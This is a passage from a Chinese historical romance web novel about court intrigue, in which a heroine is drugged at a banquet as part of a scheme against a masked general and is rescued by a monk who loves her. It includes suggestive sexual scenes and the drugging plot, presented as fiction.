不过是她夫妻二人闺房之乐，旁人管得着什么。 王渡此人，表里不一。应怜对他颇瞧不上眼，也劝过几次李定娘，不如就搬来与自己同住。李定娘只是道：“我有我自己的打算，你莫要**的心了。” 就此，这二人的事，她也只好不闻不问了。 这一回来送礼，她也只提送礼的事，不提王渡，也不提鬼面人。 “上回大捷，我收了好些头面首饰、衣裳料子，想着送来些与你，你可不要推辞。”她道。 李定娘生得秾艳，此时步子略匆促地出来，也不知是不是热，妆粉过的面儿上更匀了胭脂云霞似的，连眸子都柔沁沁得像一汪春水里点墨，与往常端庄又有不同。 她先一时未言语，而后微笑了笑，“不是已送过一回了么，这回哪劳动你亲自来送？” 说着，把阿苽从一旁拉来，牵在自己跟前。 阿苽瘪着嘴，还想与萍儿多玩一会，却被姐姐压着，只得老老实实装沉稳，立在一处。 应怜心虚，搪塞了几句，不欲多留，便要告辞。 倒是李定娘，送她出后角门，牛车前分别时，似随口道了一句，“我时常也过去府署的，你只那时予我便是。这宅院说到底是他住处，下回来，还是按礼递个帖子吧。” 应怜以为她刺的是自己不告而入，撞见她夫妻两个行乐之事，心里又是愧疚，又起了几分与她生分的委屈，点了点头，想到王渡，没忍住，上车前仍是念了句：“……你索性还是与我住吧？” 李定娘稳立门前，浓纤合度，神色里有股子对万物光景的冷淡，眸光流连过应怜时，驻留一瞬，终究带了几分安抚的笑意。 “我自有夫。他有‘小诸葛’的显赫声名，又与人为善、不计前嫌，亲自负荆请罪与我和好，我怎能罔顾世人的眼光，仍游荡在外，做个水性杨花的妇人？”她平平淡淡说出这些，句句荆棘刺一般扎在应怜的心里，“你也莫要太忧心，他不会拿我怎样，毕竟我身上还有他需索之处。” 应怜默然。 她摸不透李定娘的想法，又察觉她正推拒自己。 温柔、缓慢，却毫不犹豫。 李定娘又道：“对了，我有一事正要与你说。我欲将阿苽托在府署，往后半日跟着众头领习练武艺，半日随你读书，你多照应着。” 应怜尚迟疑，阿苽却脸色一垮，瘪着嘴问：“你不要我了吗？” 李定娘不似往日对他不假辞色，却罕见地俯首望着他，揉了揉他的头发，眼中有一抹隐隐的柔和，映着黄昏将至的日色，不再拒人千里。 阿苽耷拉下了小脑袋，很沮丧的模样。 应怜应承了此事，定准了两日后来接，随即带着萍儿，登车而去。 李定娘望那牛车缓缓行去，直待拐角街巷处瞧不见影儿了，这才牵着阿苽，一言不发地回了。 “你不能不要我。”过了廊下屋檐，阿苽行在阴凉处，稚嫩的声音有些孤独。 “乖。好好学文武艺。”李定娘握着他小小的手，步履行在时时而过的雕漆廊柱间，声儿也在空荡荡地盘旋，“报仇的事不必你来，你只需保护好你自己。” 阿苽与姐姐一处时再不敢撒泼，蔫蔫地跟着她走。 才至前后院的穿堂，却正见此间的主人——王渡大步迈来，神色凛凛里，带着几分杀意。 两下里正瞧在一处，互相皆愣了愣。 李定娘稳稳心神，迎上前道：“夫君怎么早回了？” 王渡向来示于人前的是一副风轻云淡的从容态度，此时脸却有几分绿，紧抿着嘴，狐疑的神色从她脸上、身上逡巡而过，末了重重哼了一声，不由分说，将她拨到一边，径往后院走。 “夫君这是何意？”李定娘在后蹙眉紧跟，几乎小跑，随他穿廊过户，来到后院正间。 那是夫妻俩的正屋。方才应怜才立过的地儿。 王渡推开屋门，向光线黯淡的四围瞧了一瞧，又入内室，冷峻又多疑地观量一桌一椅、衾褥纱帐，连那一捧半卷的珠帘后角落也扫了扫。 李定娘走得急，喘起不匀的气来，“夫君找什么？这样神色慌张？” “贱。妇！”王渡已不是第一次这样斥她，回身紧盯着她，不放过任何一个表情，“我不在时，这处谁来过！” 李定娘一怔，面上褪了几分血色，把阿苽推到外头，关了门，与他里间屋相对，“何曾有人来过，夫君是听着什么风言风语，疑心我不守妇道？” 王渡不说话，然面上神情早已泄露，就是如此。 “当日你求我回来，字字句句说要与我破镜重圆，再不提旧事。如今反却疑心起我来？”李定娘咬着唇，委屈地瞪着他，又有几分憎恨，“究竟是哪个烂嘴烂舌的诋毁我！抓奸还要抓双，你叫他来，我与他对质！” 那床褥铺得整整齐齐，只边缘兴许她坐过，微微凌乱几分，怎么瞧不像是才做下丑事的样子。王渡满心的怒火与妒火此时被凉水一浇，也渐渐冷凉下来，消了几分。 李定娘恼怒时脸色有些潮红，咬着牙，嘴儿也红艳艳的，更有一股子又厉又艳的劲儿，却正戳王渡的心窝，一时间也分不清心里头那股火气成了什么，本来烧成一团窝在心肺里，这会子忽又往下路窜，惹得一阵心血来潮。 “若是无人登门，为何有牛车停驻后门？你又为何遣出下人？”他仍是几成不信，目光却渐而顺着她曼妙的身子逐渐向下，眼眯了起来，“……贞或不贞，一验自明。” 李定娘听懂了他暗示，咬着下唇，闭了眼，遮掩住涌动的几分屈辱，很快却又睁开，那里头便流转了几分春潮与艳色。 她低眉顺眼，带着王渡，一步一步上榻，温顺地一件一件地褪，凌乱堆在床下鞋履上。 “方才来家的是柳娘子，你若不信，问她便是。我与你说到底成婚不过一二月，如今你早去晚归，我在家中怎不寂寞？若不尝那滋味便罢了，你领我尝过，我便欢喜上了，难道还不许我 自乐一回？有那许多人在，我怕被人听了去……” 十指纤纤，在他喉间、肩上、腰腹划过，她带着湿热的话语如夜潮，缠在他耳畔。 王渡捉住她的手，五指一齐攥在手心里，灼灼地盯着她，眸中有最后一丝未消退的冷意。 “你告诉我是哪个嚼舌根，我便告诉你是哪只手。”她又在他耳边私语。 秦楼楚馆、行院勾栏，王渡倚红偎翠也不知几何，却被她萦萦缠得心火直旺，只觉身下这不是个女子，倒是一副春水做的骨、蛇一般的身子。 心思被其一惑，口风便放松了去。想这也不是如何要紧的事，王渡向下探，听着她一声一声吸气，心头更无妄膨胀了几分，“不过是个姓许的客僚，不是什么了不得的人物。” 李定娘委屈里带着缠绵，哼了一声，“他？他连你一根手指头都比不上……啊……” 那根手指头作乱得很。 她却弃了他，滚在一旁，喘着气，比出自己纤纤的右手，道：“喏，就是它。你想瞧么？” 眼见着王渡的眸光便深了，欲望深沉，瞧不见底。 云雨散后。 王渡拥着这个妙人儿，才泄了一处火，又起了一处火，想到什么，却吃起飞醋来，“那鬼面人当真没碰过你？” 李定娘慵懒地半阖凤眸，春潮带雨褪半，扫了他一眼，“与你说过多少回了，你就是不信。不过……” 她忽心念一动，今日又不像往日那般丝毫不松口了。 “不过什么？”王渡果然一凛。 “不过他倒有此意，言语常勾挑。”李定娘慢悠悠地瞎编，“一次竟还想强使我就范。只是他面具下的脸太可怖，我实在害怕。” 她往常说一分没有，王渡才不信，这会子听了这般言语，反倒信了。他搂着她，哈哈大笑起来，声音里不无得意。 “卿卿，我就说么，他那样的，多瞧一眼都恶心。”笑完了，王渡洋洋自得道，“哪像我，伺候得你妥妥帖帖。从前的事过便过了，你也休揪着不放。往后与我一条心，我好了，怎么也给你挣个诰命出来。” 李定娘扯了扯嘴角，倚在他怀里，懒懒地没言语。 王渡却想他自家的心思。 他与鬼面人之间有夺妻的私仇，更有抢功劳名分的外仇。 鬼面人自带的那一千精兵，实在强悍，是许多场硬仗的主力。更兼此人也不知什么来头，带兵打仗的本事极其过硬，分明与他同时来投，声望却早已在他之上，更隐隐有逼近单铮的苗头。 单铮是个莽夫，不在话下；可若有朝一日宁德军易主，呼声最高的，恐怕就是鬼面人。 鬼面人可不是个好相与的主儿。若他得了势，往后自己若想领了这一支宁德军，投靠六殿下，必定阻挠重重。 得在他羽翼未丰之前，先铩了他的翅羽，否则后患大矣。 这么想着，他缭着李定娘的一缕长发，心思转动，便问：“听说，前几日鬼面人送了厚礼与柳娘子？” “怎么？”李定娘慵懒地问。 “他当真喜欢你？我看未见得如此。”王渡道，“不然，他为何不向你献这殷勤？” “他献了，我丢了。”她道。 王渡笑着捏了她一把，酥雪似的揉在手掌里，甚觉一掌竟合不拢，更是喜爱，在她连连的轻喘里，毒蛇似的轻言细语，“你不是厌恶他么？恰好，我有一计。你只消用一用那柳娘子，挑拨得他与那和尚大动干戈，损他名声，如何？” 李定娘身子酥软，心却停了一停，问：“如何用？她与我可交好，你不当害她。” “害她作甚？她本也是风里飘絮，我为她找个主儿，不好么？” 说着，他向李定娘耳语了一番。 李定娘面无表情地听着。 王渡自为这主意称妙，很快下床去，也不知从哪个格子里摸出两包药粉，合在一处，又用李定娘的一根簪子搅匀了，予她一包，巴掌大小薄薄一片，道：“此事端看你选择。你若当真如所说的那般，厌他而爱我，便依我的去做。否则，咱们便好聚好散，你从哪儿来，回哪儿去，如何？” 李定娘久久不动，风月云雨俱从她面上褪去，此时只剩戴了面具似的虚假、生硬，“这是什么药？砒霜？” 王渡一哂，“我说了，我不害她。你那般小心思作甚？” 他说着话，两只眼却直勾勾盯着她。 李定娘有心气，可城府却浅，他自认一向好拿捏。可如今经了些事，她骨子里有些东西，却教他一时捉摸不定了。 王渡喜欢一切执掌手心的感觉，不喜欢捉摸不定。他便顺势用这样的法子，来验一验她是否真能与自己一条心。 李定娘的反应也在他预料之中，有些疑、有些难。 “口说无凭。”她道，却就此下榻，白莹莹的身子舒展在窗隙漏下的暗沉光线里，摸得一壶，向里头半盏冷茶倾了一角药末儿，摇荡开了，给彼此各沏了一杯。 “我爱重柳惜，不愿害她。此药若与她无碍，你便与我先饮一杯。” 王渡失笑，闺房里早已卸了向外人的那般和气沉稳，反有些无赖脾性，一把拽来她在怀中，就着素手白瓷，饮下了一杯残茶。 甘苦冷凉入肚，化作一团说不出的细细的火，一路散入四肢百骸，烧得气氛迷离起来。 王渡翻身压下她，兴致再起，“我说了，不是砒霜，你总信了吧。” 日色渐沉，灯火未升。夏夜凉却后酝成盈盈的春宵，李定娘仰首，定定望着销金纱帐里，晃动着一双莲间的鸳鸯，水色横陈，隔了她与心中那人，云山千叠。 捷后总有庆功的酒宴，虽不得似初克江宁后那三日的大排饮宴，却总得向各部将有所表示。 芜湖城下一场大捷，比小打小闹又大场面，待到庆功，总要比往常更风光一些。 应怜才听闻宁德军欲派出信使，去到北边的沂州，为联络北地揭竿的势力；尚未启程，却先迎来了上下同乐的宴饮。 庆功宴照例摆在府署。外庭几场从正堂铺至庭院，大小将军们皆在此聚贺；内庭里，也单辟了地儿，为女眷摆上酒席，又依照外头样式，搭了勾栏瓦肆，尤其请来时新的杂剧戏班，说唱逗乐；仆从女使们两头穿梭来回，一派其乐融融之景。 应怜放了孩子们一日的假，也颇有兴致地宴赏了一回，正午开宴，直到华灯初上，天虽晚，宴却未终，与众女眷谈笑畅饮，好不快活。 席间，她与李定娘尤其亲厚，杯酒下肚，脸上辣辣地热起来，一同观瞧瓦肆里小唱清韵，正赏到乐心处，忽听李定娘耳边问起：“那宗契师父，你究竟是怎么想的？” “什……什么怎么想？”她正满心沉醉在低回婉转的唱腔里，一时未及反应。 偏过头来，应怜携着几分酒气，正见李定娘似笑非笑的神容，倏尔明白她意，那团酒一晌火辣辣地烧在了脸上。 李定娘道：“从前在扬州，我就瞧出几分了。如今旁人扯什么义兄妹的名头，我却不信。你心中，当真对他没有情意？” “你、你、你怎么……”酒意烧心，应怜竟被她吓得磕巴起来，半晌说不出一句整话，“胡说什么……什么情意，我与他……” 一切言语未尽，都消泯在对方了然透彻的眼眸中。 “有何难为情说的？你纵承认了，我又不会笑话你。”她自斟自饮，仿佛也有了三分醉，不望小唱，却定定望向她，“我自个儿已是一团糟了，没得受你笑话呢，哪还有心思来笑你。只是羡你眼光比我好，所中意的一人，是个坦荡无愧的丈夫，不像我……” 不尽絮言，渐至无声。 应怜脸红红的，有一种被看穿的无地自容，“哪就如你那样笃定，我、我不过是敬重他……” “撒谎。”李定娘指着她微笑。 应怜不说话了。 李定娘瞧着她一副想找个地缝钻进去的羞臊，话里带上了几分真意，“你在意他是个出家人，唯恐坏了他的修行，是 也不是？” “……话都被你说尽了，还要我说什么。”半晌，方寸间传来她轻若蚊蚋的言语，出她的口、入她的耳，清风一过，便轻飘飘散了。 李定娘伸出一只指尖，点着她的额，半是叹半是怜，“你呀……” 她又劝她酒。应怜脑子被她一番话搅成了浆糊，臊得也一句半句也想不出来，只得一杯杯地喝。 她渐渐沉醉，晓得自己似乎多饮了，只是月色正好、浅唱低吟，不消酒醉，人自醉在如水凉夜里。耳畔依稀又听她感慨地喃喃： “人生苦短，寻一良人不易，便不要挂碍外物了。你心爱他，焉知他未必对你全无情意。” “总之不要落得如我这般，能说出口时，端着一股子可笑的自尊，闷在心里；待人不在了，方才后悔。天上地下，又该怎么去寻呢？” 话犹在耳，她却早已听不进，凉夜微风触动每一片肌肤，却点燃一簇簇心火，向每一段筋骨、每一根血脉蔓延。她从未觉得夏夜如此难熬，空气静止、湿热、黏腻。 身子里某处也开始变化。她恍然觉着从里之外，五脏六腑，她快一点一点融化，浑无一点筋骨。迈出的步子，每一步都如踏绵云之上。 有一双手臂，冰冰凉凉，搀扶着她离席，又踩踏着虚无的云彩，深一脚、浅一脚地扶持向某处。 弯弯绕绕，荷香衣香，逐渐远去，唯剩了一片天旋地转的寂静。 那双手扶着她，她仿佛听到了关门的咔哒声。 应怜惺忪睁着眼，感受从骨子里向外发散的热，与无尽的痒，央求道：“热，我要喝水……” 才发出声音，轻得没分量，却软得仿佛能掐得出水，撩人的心尖。 方才还有踉跄走路的力气，这会子被抽得一干二净，她朦朦胧胧躺在床上，只觉浑身都湿热，难耐地磨蹭着丝滑的绸衾。 那善心的相帮的人，不知是谁，只是好心地替他褪了衣裳鞋袜，很快她便只剩了丝缕遮掩。 肌肤里、骨子里蒸腾的热意没了拘束，蓦地迸发出来，一片高热黏粘稠稠附着在她肩颈、手臂、腰腹、腿。间。 应怜清楚地听见自己张唇喘息的声音，与噗通、噗通快速的心跳，筋骨酸软、浑身过热，却连动一动手指的力气也无。 她难耐地在绸缎间摩挲、磨蹭。那绸缎瞬时成了泥潭沼泽，她现在滑腻的沼泽里，挣脱不得。 热、好热。 好想贴上个冰凉的物事，好好地磨蹭着解一解这滔天的热与痒。 她快要死了。 第88章 第88章谁家春宵如此夜 夜愈发地深，而她在黑暗中瞧见天旋地转的星月光火，疯狂地飞逝，带来一阵又一阵高热的眩晕感。 忽而有轻动炸响在耳畔，应怜迷糊睁开眼，浑身酥软无力，只隐隐察觉有脚步声临近，隐约伴着说话声。 “为何不点灯烛？” “灯烛用尽，我这便去取，将军少待。” 一道嘶哑、一道殷勤，交杂一处。她喘息一声，理智被蚕食几乎殆尽，仅剩一丝告诉自己：不能这样！ 她得走。 去到哪里？ 她陷在绸锦之中，无处可逃，连危机感也钝钝的，遥远又模糊地被阻隔了一层。 脚步声近，那人入内。借着不知何处的灯火微明，她瞧见一副鬼面，森森可怖。 那面具停在了她头顶上方，恶鬼仿佛跟着旋转。她无力动了动手指，微阖双目，却听那往常嘶哑的声音里含着怒与惊，再意想不到似的： “惜奴！” 她的小字，本没几人晓得。他怎么知道？ 她被逼出了一声似喘息似回应的音节，带着泫然若泣的崩溃，却察觉凉沁沁的锦缎一紧，自己却被裹了起来。 她柔软无力，只想挣脱，向那个洪水般怒意的人身旁凑，要沾得一星半点的凉意。 那声音愈发地可怖起来，似咬牙切齿：“是谁做的？谁要害你！” 些微酒意混杂其间，她只见人影高大，昏狂难耐的思维紊乱，却误认作另一人。 那人身形更高，更魁伟，她也更熟悉。 “宗契……”她喃喃脱口，慌乱地摸索。 甚至没再多的时间反应，鬼面人搂着薄衾里的应怜，才怒意狂涨，那门却又被破开了。 哐啷一声响，外头几乎狂风扫荡而来。 里外通透，帘帷半卷，清晰瞧见相拥的身影。 鬼面人才转半脸，猛地袭击风声刮至，含着一道切齿怒意：“贼子！把她放下！” 竟是宗契。 鬼面人心一惊，即刻醒悟：中计了！ “有……”他方想说有人要害她，却不是自己，浑然来不及出口。宗契掌风已至，逼得他瞬时后退，连带着怀中的应怜被裹挟着踉跄差点摔倒。 应怜浑噩中压根不明发生何事，只瞧定了一双清湛墨黑的眸子，那里头却盛着愠怒，彷如狂风暴雨，使山海变色。 “宗契……”她见了他，便要挣脱鬼面人，只是一双手的气力更比点水拂柳大不了多少，身子里愈发说不出的难受，不禁急得哭了出来。 鬼面人却因此更加烦躁，“你……混账东西！” 他也不知骂谁。 宗契节节紧逼。这狭小的室内根本施展不开，躲也躲不到哪儿去。鬼面人揽着应怜，此事便有嘴难说清，索性躲开他一记拳脚，猛将应怜推向身前：“接着！” 宗契半路而至的掌风生生被扼回去，改为了拥抱，一把接住衾褥半落的应怜，却见鬼面人趁空步子一滑，不愿沾惹此事似的，竟溜了出去。 他出去后是逃是呼救兵，宗契不晓得，只感觉怀中人浑身散发惊人的热意，半明半暗之中，锦缎已滑落在肩腰，露出里头白玉似的两只光洁手臂，身子紧偎着，与他竟只一层薄薄抹胸的料子相隔。 什么都阻拦不住。 宗契大脑一空，被那温软蹭得浑身如窜过簇火急电，却又觉那身子不住下滑，软若无骨，不由得横在她腰后的手又紧了紧，将她托住。 应怜不住往他冰凉熨帖的胸膛里挤，嫣红软腻的唇紧贴他脖颈，发出细碎的颤声，眼泪也烧得灼烫，“宗契，我难受……” 宗契被她缠得心急跳，喘了口粗气，大手拉过薄衾，不由分说，甚至几分粗鲁地将她裹住，腋下腿弯一抄，将人打横抱了起来， 旋风似的大步至门口，怒喝一声：“来人！请大夫！” 李定娘无声而至。 宴席已散，正是不闻乐声、初寥落冷清的时刻，宾客俱归，留待忙活的是府署的女使人力，以及承请饮宴的四司六局里杂工。 后宅里却空荡寂静，厢房处更是没个人迹。只几个粗使的仆妇被惊动，正慌张地去传禀，便迎面撞见了由内宅而出的李定娘，晓得柳惜与她亲厚，一股脑便七嘴八舌地禀了。 李定娘稳住几人，只教她们各自回去，“方才的事，关乎娘子颜面，不许向外提一个字。否则，拿你们几个是问。” 说着，又每人把了一串珠子，做头面的赏赐。 那几人千恩万谢地出去了。 李定娘抚了抚鬓角，这才不紧不慢地穿行过长长的游廊，折回到厢房院。 才进门，便见了宗契，打横抱着一堆杂锦，裹起一人，急急地就要往外去。 “你去哪儿？”李定娘忙拦住他。 宗契没空解释，只道：“惜奴病了，我去找大夫！” 李定娘死拽活拽将他拉住，又示意将应怜放下，试了试她额头，又瞧了一遍，面上几分了然，从腰间取下个锦囊，里头翻出一粒药丸，交与他道：“无妨，恐是席间有那散方，她误服了些。你将这粒广藿丸压在她舌下，我去外头备车，先回家再说。” 宗契不解何为“散方”，见她要走，便也跟着去。 “服了散方，本就放浪形骸。这会子人多眼杂，她这副模样被外人瞧着了，以后名声还要不要了？”李定娘却白了他一眼，没好气出口，“你权且等上一刻，我外头教下人散了，你们再出来。” 一番话说得宗契甚觉有理，佩服她果真心思缜密，便应了下；待人走了，才后知后觉发现，手里这颗丸药可棘了手。 “来，惜奴，张嘴。”他一手托着她软绵绵的身子，劝哄道。 应怜哪里听他的话，只一副身子往他怀里扭，汲取几分凉意，间歇迷蒙地望上他一眼，水雾弥漫，尚残余隐约泪痕，蜿蜒过潮红一片的双颊，本欲使人心怜，却无端勾出人心底一股子愈发揉搓的隐秘欲。望。 被她蹭到的地方，颈项、肩臂、胸膛……每一处都也跟着泛起热度，仿佛有一股股的细细的火，拦阻不住地密密升腾流窜。宗契压着心火，哄了又哄，她只不配合，软软地向他怀里侧歪。 没奈何，拉拉扯扯，宗契只得又带她回屋，想了想，却将屋门关了。 若旁人窥见，总也说不清这事，不如关了门，她怎么在里头折腾他也好，过后他再不提便是。 没人来时，应怜浑身发烫，只想找个冰凉的物事贴一贴；如今有人在侧了，她贴上那片蕴凉，心底细细密密的火却更旺，无论凉在哪里，总有更炽热的一团火反扑来，大有一发不可收的势头。 她因此更缠上那“东西”。 ……不，不是其他，是宗契。 她透过水雾朦胧的眼，迟钝地、欢喜地察觉到他在身边。 理智已趋于崩溃，羞耻感也像薄薄的夏衫，不知被抛到了哪里，她双唇微分，呼吸着灼热的气息，凭本能去靠近他，无奈手脚软绵绵的，不满发出的声音，更比喘息还轻。 于是天地间只剩了她的喘息、他粗重的声音，以及一声比一声强烈的心跳，交错凌乱，也不知是谁的。 一会儿，他诱哄的声音再度响起：“乖，张嘴，把它含着。” 应怜身下又触着了丝滑温凉的衾褥；与方才不同的是，此时身畔有人陪伴，彼此亲密，动作是梦魂与想象中的狎昵。 她一晌分不清是幻是梦。 宗契出现在她梦里，神情里有她曾见过的无奈的温柔，更有从未出现过的一抹隐忍，因此微蹙着眉，眉峰聚起，却使她觉着，他比往常更…… 她混沌的头脑想不出个妥帖的词，却浑浑噩噩地觉得，犹如她坐乱了一颗神佛的心，拉着他一同坠堕了下来。她抱着他，要与他一同欢乐，一同分享急切的渴望。 他额上渗出了密密的细汗。 应怜乖巧地张开嘴，察觉有什么东西慢慢地探了进来。她本能地缠上柔软的舌，包裹着滑动、轻舔。 它有些粗硬，要与她戏耍似的，与她的舌兜着圈子。应怜便与它周旋，一圈一圈、柔腻而新奇地与它玩耍。 她听见了强行压抑的粗喘，与喉头滑动时的吞咽声，微微睁开眼，见了她的神佛，眸中翻滚着令人心惊的深潮，万涛狂涌，却被狠狠压回眸底。 她含着他一根手指，无辜而渴望地微睁眼眸瞧着他。 一丝苦意从舌尖弥漫，应怜瞬间觉得那根手指也并不怎么美味，眉眼皱成一团，嫌弃地呸呸吐了出来。 它离开时，细细的水痕一缕，勾起她唇下细腻的银丝。 宗契狼狈地别开眼眸，躲避她诱使人堕入深渊的、无知无辜的双眸。 那眸子里泛滥着漾漾的水色春。情，她的唇变得饱胀而靡红。她贴着他，察觉他的逃避似的，又往他跟前凑。 也不知何时，他不再托着她身子，广藿香的清苦微散一缕，从她唇舌间半着软腻馥郁的热与香绞缠、绞缠、再绞缠。 他闻见了广藿香，便闻见了她身子里散出的引人沉沦的香。 也不知是那药丸奇效，或是散方药效渐去，她回生了几分气力，却还是热。 她慢慢磨蹭地坐进了他怀里，在床边沿，分着双。腿、环着他颈项。他衣衫完好，她却薄衾已滑落委地，堆成一叠縠皱的春纱。 她感受到快得不可思议的心跳，几欲从他胸腔中迸发而出。三份清明、七分沉堕里，见他几至迷失的双眸，再不复往日沉稳，忽混沌里生出一念，甜美得不可思议： 他是我的了。 应怜欢喜得欲要落泪，怔怔瞧那英武的眉眼，心中饱涨了一股又一股不断涌出的满足，不知从哪里开始占有，便从他饱满干净的额开始，将双唇覆了上去。 从额头、到眼眸。他倏然闭目，身不动，强硬的手臂却在她腰间猛地收紧，迸出突显的青筋，压抑着炙热。 从眼眸、到鼻尖。他的鼻梁直挺，像他此人刚毅。应怜一点点地啄吻，梦里的他不动不语，可她就是知道，他已然心旌神荡。 他想要她。 那一点广藿香，徒然勾起了她心底的火，花月春风，夜潮起起落落。他横臂在她腰，她则漫过他绷紧的身躯。 她俯首阖目，滚烫软腻的唇，最终落在他唇上，相贴时俱有一瞬的微震。 从前的梦里，哪怕不羁又放肆，也没有这样逼真的感觉。 他唇紧闭，不知是心内在做什么斗争。应怜可不管，阖眸品尝着他，怎样快活怎样来。她细细地舔舐过一遍，又放肆地往他唇缝里钻。 他仿佛在坚持着什么，即便所剩无几，却依旧掩人耳目地攥着。她愈发挺直了身子，像一泓滚热潮湿的春水，裹缠他胸膛腰间，细密连绵的心跳，来自她柔软的肌骨里，几乎将他溺毙在其中。 不期然，一个失神，便微分了唇。 她便趁虚而入，湿热软腻的一缕，随着微苦的广藿香，欺在他唇舌间。 世间最柔软的甜美，正与他勾绞在一处，使人魂销魄荡，越陷越深。 宗契此生从未有过如此魂不守舍的滋味，骨子里烧出一把燎原的野火，比她在他任何一霄春。梦里都来得焦灼，真恨不得舍了人伦、忘了人世，就此与她在这青罗帐里荒唐胡搅，闹个天翻地覆。 一晌理智回炉，却猛地如被座钟狠狠一撞，艰难回神，将尚不知满足的她推开，心中狼狈更甚过身子反应，瞧她迷蒙水色早已横陈在眸，软在自己怀里，予取予求的模样，蓦觉酿成大误，自己与她，正在悬崖边缘，差一脚便蹬空，落得个行差踏错。 那是什么糟污的东西，散方，还是什么？ 他早已无暇去细思，却浑然回想起前不久，有人急与自己报信：【鬼面将军诱柳惜入厢房。】 短短一句，那报信的小厮却烟云似的蒸发在觥筹的人群中。 此时想来，不正是个圈套？谋的是谁且再说，他却不能先着了道，从此损了应怜。 不过短短数个念头急转，他浑出了一身汗，咬着牙，再瞧应怜，却急耐不过向前，这会子汗湿鬓发、潮红满面，连身子也染出粉嫩的颜色，如堆霞织锦，连绵春山起伏，不过遮蔽了薄薄一缕，细腻柔滑，全然绽放在他掌下。 她在他怀里难耐地扭动，又惹起一团团才压下的火。宗契喘着粗气，按下她身子，不敢深想手中那一片温软光洁，深蹙着眉，说话才觉嗓音早已沙哑，“惜奴，你忍一忍！清醒一点！” 说罢才觉荒唐可笑。那不知是什么药，她早已堕了神智，恐怕连对面是谁都认不得。 这么一想，又惊生了后怕，若他到得晚一分，岂不是…… 宗契咬了咬牙，一狠心，抚了抚应怜晕红的面颊，忍住想要再亲吻的冲动，却一个手刀，劈在她脖颈间。 那力道拿捏得精准，应怜连哼也没哼一声，就着在他怀中的姿势，倒在她怀里。 她昏了过去，事便好办了。 就着外间灯火光亮，宗契捡起她零落的衣裳，一点点笨拙地为她穿上，使他睡躺在锦绣的床上，又拭了拭她额头，比先前略微好些，仍有些热。 她昏迷中仍蹙着眉，仿佛难受的模样。 宗契再没忍住，俯身凑去，亲了亲她的唇，含着那片柔 软，不过一霎，却依稀听见了自己心中什么东西崩塌、碎裂的声音。 她那样就他，带着人事不知的欲。望，把自己捏塑成一只诱饵，却并不是出自本心。 心思深沉肮脏的是他。他明明清醒，却放纵自己荒唐，陷她入深渊。 宗契陷入无以复加的愧疚之中，一晌又想到那个远在洛京的元家子，更是心乱，望着她无知觉的容颜，阴暗滋生，甚至冒出一个念头：若不然，就占了她，再不放她做外人妇，大不了明日一早，他还俗了就是。 可她会哭，会怨恨自己，会从此被传为笑柄。 他摈弃这个荒诞念头，狠狠唾弃自己。守着她，等着个不知何时才来的李定娘，在幽微的灯火黑暗里，独坐了不知多久。 应怜这一日夜过得混乱又浑噩，依稀又察觉似又人影走动缭乱，言语声嗡嗡交错，直待翌日晌午才醒。 她仍残余一股子醉酒后的眩晕与窒闷，醒后瞧见熟悉的纱帐床阑，一案一架俱是自家所有，半晌方知睡在自家床上；只是记忆混沌，不过记得昨晚与李定娘同饮，那小唱甚是清婉，再之后如堕一场迷梦，梦里仿佛…… 她怔怔地坐起身，拥着几片衾裯，沁凉丝滑的质感催着想起了一两分。 宗契搂着她，她却掀落绸锦，揽住他脖颈。 舌尖仿佛微苦，却品尝到不可思议的柔软和温暖。 记忆支离破碎，连宗契在梦里的身影也化成千万片，每一片都摇荡不定。应怜捂着额，总觉着与他之间似是亲密，却分不清梦境现实。 恐怕是梦。昨晚她分明没喝几盏，怎么就记不起发生的事。 脖颈后隐隐作痛，她却陷在昨夜火热相贴的感觉里，脸红心跳，又总疑心那梦太过详实。 直到春莺端着药进来，见她醒了，正要下床，忙来搀扶，她这才有了几分踏实坠地之感。 “我昨夜醉了么？”她身子软绵绵的，索性靠在春莺身上，见她端了药，又忍不住皱眉，“这是醒酒汤？怎么这样苦？” 春莺道：“哪里呀，我的好娘子，您昨晚可真倒霉！有个女使弄错了酒瓯，把外头不知谁的酒奉来了，据说那里头混着什么……散方，饮下后有迷醉登天之感。大夫说此药伤身，女儿家身子弱，误食了散方，可得好好调养一阵。” “散方？”应怜不可置信，可身子的异样感又教人不得不信。 才喝了药，正想着去找李定娘，她却先自来了。 应怜忙请入内，遣出了女使，急急便问：“昨夜之事，我怎么觉着蹊跷，我何曾饮了外头的酒，况且那酒你不也喝了？究竟是怎么回事，还有……” 她面皮薄，想到宗契，欲问又拉不下脸来问，吞吞吐吐，把脸面也涨红了。 李定娘见状便猜着七八分，一时欲言又止，也不知是笑是烦恼，神色十分微妙，“谁晓得究竟怎么一回事。我不过一会子没看住，你便浑浑愣愣地教人骗过去了，得亏是有了宗契师父。你那般出丑，我遣散了下人，由他守着你，他却……” “他却什么？”应怜脸更红得要滴血，连心尖尖也颤了，慌慌地问。 “他却把你打晕了。”李定娘语气平常，有那么一点可惜。 应怜摸着脖颈，愣愣地半晌没反应过来。 她尚想不通自己究竟耍了什么酒疯，逼得宗契敲晕了她；却又听李定娘开口，话里不无困惑，甚至有些烦闷，“他真是个品行高洁之人。据你说，人的本性是改不了的，是么？” “嗯……什么？谁？”应怜结结巴巴。 李定娘叹了一声，摇摇头，没解答这一问。她自个儿心中也有疑惑，不仅无从开解，甚至连问也不知向谁去问。 无论人面鬼面，从前总有来历。她恰巧晓得，这一个曾在六殿下身边做过扈从的无赖，是个贪花好色的猥鄙之徒。因此她做下了局，却不放心，蛰伏在暗处，随时监听屋里动静。 只是鬼面人反应超出她预料，那样怒意滔天，就像……就像他多么珍爱应怜似的，压根不像他从前习气。 他们本应素不相识啊，除非…… 她心中没由来缓缓升起一个极其荒诞的念头：除非，除非他不是那个无赖。 可他的确有那样的烧伤，脸上、肩上、手上，那不可能有假。 李定娘默默地坐在应怜身边，瞧着她惊愕、迷惑、颓然消化昨夜之事，旁观者清，从见着宗契的神色始，便已瞧出他心中所想；可扪心自观，却怎么也瞧不穿自己心头那一团越来越大的迷雾。 “你还记得，昨夜那鬼面人么？”良久，她试探着问。 应怜却全然迷茫，“鬼面将军？他不是在外席么？” 再对上她疑问的眼眸，李定娘勉强笑了笑，示意无事，都过去了。 一切都过去了，无论是几个时辰前，或是几年前的事。 第89章 第89章蒹葭苍苍，白露为霜 散方一事，查起来说简单也简单，说难也难。 事关应怜的名节，此事对外被压下，只声称是误食；对内，以鬼面人为首，主张彻查，理由是自己也被卷入其中。 